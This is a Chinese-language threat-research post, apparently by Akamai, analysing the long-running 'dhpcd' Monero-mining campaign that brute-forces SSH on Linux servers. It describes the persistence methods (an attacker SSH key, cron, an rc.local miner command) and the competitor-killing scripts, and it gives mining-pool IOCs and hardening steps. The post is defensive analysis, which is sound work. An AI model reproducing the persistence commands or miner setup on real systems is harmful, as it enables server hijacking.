dhpcd:隐藏了四年的加密挖矿程序
执行摘要
Akamai 安全情报组观察到我们称之为“dhpcd”的长期攻击活动。该活动通过暴力破解密码攻击运行 SSH 服务器的 Linux 计算机,并最终在这些计算机上运行门罗币加密挖矿程序。
该活动于 2018 年 4 月由 Akamai 的威胁传感器网络首次发现,至今仍然活跃。
自该攻击活动出现以来,我们已经在我们的威胁传感器网络上观察到来自 800 多个唯一源 IP 的 2,200 多次攻击,并在 2022 年 5 月达到明显的峰值。
作为攻击链的一部分,攻击者通过更改密码和添加 SSH 密钥部署多个后门,执行大量脚本以压制竞争对手,并使用 cron 作业和 rc.local 文件进行持久驻留。
其中的部分加密挖矿程序二进制文件对其他安全服务供应商来说还很陌生。
攻击者的基础架构来源未知,因为它们在 Tor 出口节点后面运行。其中一些 Tor 出口节点属于大学、非营利组织、网络安全公司等。
附录中提供了部分入侵指标 (IOC) 列表;我们的 公共存储库中提供了 IOC 的完整列表和检测脚本。
什么是 dhpcd?
由于互联网上的任务大都在 Akamai 的基础架构上运行,因此我们能够更全面地了解现状,而发现新的(或相当新的)恶意软件也正是基于此优势。2018 年 4 月,基于开源 XMRig的加密挖矿程序(我们将其命名为“dhpcd”)首次攻击了 Akamai 的威胁传感器,此后一直保持活跃。我们很少会遇到这种已标记的恶意软件,在相对稳定的情况下还运行了这么长时间,却没有被讨论的情况。这是因为该加密挖矿程序可暴力入侵、隐藏起来并侦察能够检测到它的程序。
该名称来自合法 Linux 守护程序 dhcpd上一个难以检测的进程: 当计算机启动时,负责配置计算机上运行的 DHCP 服务器的进程。这种字母交换技术被大量用于多种攻击媒介以逃避检测,这是该恶意软件成功保持活跃至少四年的原因之一。该恶意软件使用 Tor 出口节点进行隐藏,即使并非不可能,也很难追踪攻击来源。然后,该恶意软件会挖掘隐私币门罗币。我们能够从加密挖矿程序二进制文件中获取门罗币钱包。
该恶意软件经历了一些变化,这有助于它成功逃避检测,不仅在受感染的计算机上,而且在安全服务供应商和各种威胁情报源上也是如此。在这篇博文中,我们将探讨相关的攻击流、抵御措施以及各种部署的影响。
攻击活动
自 2018 年 4 月以来,我们的传感器已记录了来自 800 多个唯一 IP 地址的 2,200 多次攻击。这些 IP 地址主要属于托管公司和通信公司。但是,也有大量来自大学和非营利组织的 IP,实际上成为了进一步实现恶意软件预期目的的基础架构。
2022 年 3 月,我们注意到 dhpcd 所基于的加密挖矿程序 XMRig 的重要版本更新(从版本 2.13.0 升级到 5.2.0)。随着这一重要版本更新的完成,我们观察到攻击规模和范围都出现了明显的上升。此后不久,在 2022 年 5 月,我们观察到了今年到目前为止的攻击峰值。尽管没有 2021 年的峰值那么高,但这说明攻击者希望在未来提高这一特定恶意软件的潜在收益。显然,我们在未来几个月将会看到更多这样的例子。
活动范围
自从我们初次检测到 dhpcd 以来,我们已经发现 2,215 次攻击,分布在 843 个不同的攻击者 IP 上,每个 IP 平均发起了 2.6 次攻击。对于每个源 IP,我们观察到 1 到 27 次攻击。
在 840 个攻击者 IP 中, 约 80% 是 Tor 出口节点,因此几乎不可能追踪到攻击行为背后的攻击者。在攻击者方面,使用 Tor 是一种 OPSEC 最佳实践;但是,这意味着使用 Tor 的组织会积极参与 dhpcd(和其他活动)的传播和恶意软件分发。在我们发现的攻击 Akamai 传感器的组织中,有属于美国大学、欧洲非营利组织等的计算机。
根据这些国家/地区的 Tor 出口节点数量,大部分攻击者 IP 位于美国和欧洲。大多数欧洲的攻击来自德国和荷兰。
财务情况
攻击者使用多个钱包来收集所获取的加密挖矿利润。我们发现 13 个独特的门罗币钱包被硬编码到加密挖矿程序二进制文件中。在监测这些钱包的过程中,我们发现每个钱包内的金额相当于 150-160 美元;在获得此金额后,攻击者可能会“轮换”到另一个钱包。考虑到每个钱包持有的余额相对较少,我们假设钱包的实际数量要多得多。这些小金额的利润是该恶意软件 OPSEC 的另一个示例:获取并保留小金额的利润以减少被发现的几率。
到目前为止,我们计算的总利润约为 85 mBTC,相当于约 2,000 美元。但同样,我们假设我们没有获得的恶意软件文件中有更多的钱包,因此实际收益可能要高得多。
攻击者使用 minexmr[.]com(如 sg97[.]minexmr[.]com、fr13[.]minexmr[.]com、us40[.]minexmr[.]com 等)的矿池域挖掘门罗币 (XMR)。我们的 IOC 存储库中提供了完整列表。
8 月 19 日,这些矿池已被关闭,攻击者不得不寻找其他矿池来使用,目前的矿池是 pool[.]supportxmr[.]com:80。
攻击流
初始入侵
攻击者通过暴力破解密码来破坏运行 SSH 服务器的目标 Linux 计算机。然后,他们使用 SCP 将一个虚拟的可执行文件下载到 bin 文件夹中。该虚拟程序只是将“Hello, World”写入控制台,大概是为了验证执行权限。文件名是 26 个字符的随机字母数字字符串,例如, /bin/cpuufcdmorv9crpa8h6wgh6iq2。
加密挖矿程序
然后,攻击者通过 SCP 将该加密挖矿程序(一个名为“dhpcd”的文件)下载到同一目录中。该挖矿程序通过 TCP 端口 4444 搜索可用的矿池服务器:
fr14[.]minexmr[.]com
ca61[.]minexmr[.]com
sg97[.]minexmr[.]com
fr13[.]minexmr[.]com
us40[.]minexmr[.]com
持久性
攻击者现在可以让加密挖矿程序持久驻留。为此,他们使用多种技术来实现这一目标。
他们首先更改系统上现有用户的密码,例如 root、admin、test、oracle、test1、ubuntu等等。他们通过修改 /etc/shadow 文件的属性来保护所做的更改,该文件包含系统中经过哈希处理的密码及其元数据。
攻击者将他们的 SSH 密钥添加到 ~/.ssh/authorized_keys 文件中,并使其不可变。
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+/XR3IoQXZHKCFsJiwyKO2CY+j
攻击者使用 cron(一种将命令和任务设置为定期运行的作业计划程序)每小时运行一次加密挖矿程序。作为另一种离地攻击持久性工具,他们下载了一个 /etc/rc.local 脚本文件,该文件在每次系统启动时都会启动加密挖矿程序:
/bin/dhpcd -o ca.minexmr.com:4444 -B >/dev/null 2>/dev/null exit 0
压制竞争对手的活动
攻击者努力终止其他攻击者的活动,以尽可能利用计算机资源,从而尽可能提高利润。为此,他们从 /dev/shm 目录执行两个脚本( /dev/shm/knrm 和 /dev/shm/r ),但是要在他们验证此目录的执行权限之后(再次使用“Hello, World”程序)。
其中, /dev/shm 文件夹是一个 tmpfs 文件系统;它将所有文件保存在虚拟内存中,而不是永久存储设备中。通过在 /dev/shm中保存和运行脚本, 恶意软件不会在文件系统上留下这些文件的踪迹。
Bash 脚本彻底消除了竞争,我们将使用 /dev/shm/r 来演示具体过程。该脚本首先会查询系统上运行的资源消耗极高的进程,然后终止那些占用大量 RAM 的进程,以确保有更多内存来完成自己的活动。然后,它会删除与其他攻击活动相关的 cron 文件,例如 XorDdos、Tsunami 和 aliyun.one。
/etc/cron.hourly/gcc.sh
/etc/cron.hourly/cron.sh
/etc/cron.hourly/gcc4.sh/lib/libudev.so
该脚本会删除与前面提到的(和其他)恶意软件活动相关的文件。
/root/pty
/tmp/bash
/dev/shm/bash
/var/tmp/bash
/var/lock/bash
/var/run/bash
/bin/httpsd
/lib/udev/udev
/lib/udev/debug
/root/sysem
/root/systma
/etc/jourxlv
/tmp/sysem
/tmp/su
'/tmp/ddgs.*'
/root/pty10
/root/pty4
/root/xmr64
/usr/local/sbin/t
/usr/local/sbin/rsync
/etc/ceurnad
此外,还会终止与恶意软件相关的进程,例如 Xm64、Ceurnad、/tmp/samba 和 Sc64u(如果这些进程正在运行)。
为了收集有关新的或未知的竞争对手的信息,该脚本会运行 atq 命令以显示待处理的作业列表以及各种系统目录中的文件。在过滤掉已知的文件模式(dump、docker、mount 等)后,攻击者会留下一个可能是竞争对手恶意软件的文件列表。
检测和抵御
SSH 服务器的使用非常普遍。不幸的是,常见的还有以高权限运行并使用基本密码访问的 SSH 服务器。通过将 SSH 配置为仅使用私钥和公钥,同时阻止所有基于密码的登录尝试,可以轻松阻止 dhpcd 等针对 SSH 的攻击。
要应用这种方法,请修改您的 SSH 配置文件 (/etc/ssh/sshd_config),在文件中添加以下两行内容:
PermitRootLogin no
PasswordAuthentication no
要阻止 dhpcd 的加密挖矿活动,可以考虑阻止广泛用在我们观察到的大量攻击事件中的传出 TCP 端口 4444。此外,还要阻止与已知矿池域的所有连接。您可以在我们的 IOC 存储库查找与 dhpcd 相关的连接。
要检测您的系统是否被感染,请运行我们的 检测脚本 来寻找 dhpcd 的踪迹。
结语
dhpcd 是一项使用具有实效的技术的加密挖矿活动:它通过 SSH 传播,运行基于众所周知的 XMRig 的加密挖矿程序,并使用已知策略设置后门和消除竞争对手。
与我们观察到的大多数攻击活动相比,通过将 Tor 整合到感染管道中,该活动确实展示了更好的 OPSEC。使用 Tor 可以防止防御者追踪攻击的基础架构和来源,使整个操作更加稳定和隐蔽。
Tor 的使用有点像一把双刃剑:企业使用 Tor 来支持匿名化、隐私保护和安全性,但安装出口节点也会带来负面影响——这些节点可能会成为感染链的一部分。虽然自己不一定会被感染,但这些企业提供了一种可用于在互联网上传播恶意软件的机制,帮助攻击者保持匿名并受到保护。
dhpcd 再次向我们证明,即使是极为基本和简单的攻击活动(其特征是为入侵而执行的字典攻击和交换字母以减少检测的文件名),仍然能够感染网络并获利。此外,这些活动的开发和维护是为了提高潜在收益的规模和范围。然而,简单的策略、技巧和程序表明,即使采用基本的防御措施,警觉的防御者也可以提高其系统的安全性。
附录:入侵指标
以下是 IOC 的部分列表。请在我们的 存储库中查找完整列表。
文件名
/bin/[a-z0-9]{26}(Hello World 程序)
/bin/dhpcd
域
fr14[.]minexmr[.]com
ca61[.]minexmr[.]com
sg97[.]minexmr[.]com
fr13[.]minexmr[.]com
us40[.]minexmr[.]com
pool[.]supportxmr[.]com
文件哈希值
eb808932714c9533962e129e61d84c29536497e62b2a7d89dce3376d882c6965
e971fa0c392a9f43c37dccfdd4f8e6bc109e162716d9b206170f7bb133634ffd
76005592ad7d8901c64a5cfbcdde589a960ba35c9672da6182d131cd67ae0c97
2cca764d24212f8fc58780b9135740929f38b45bcd5fc82c4a2ff47e90890d06
3ea8cc0977e5542053353bcf3e58de947dd727259369707a13a4d0c8f14b7486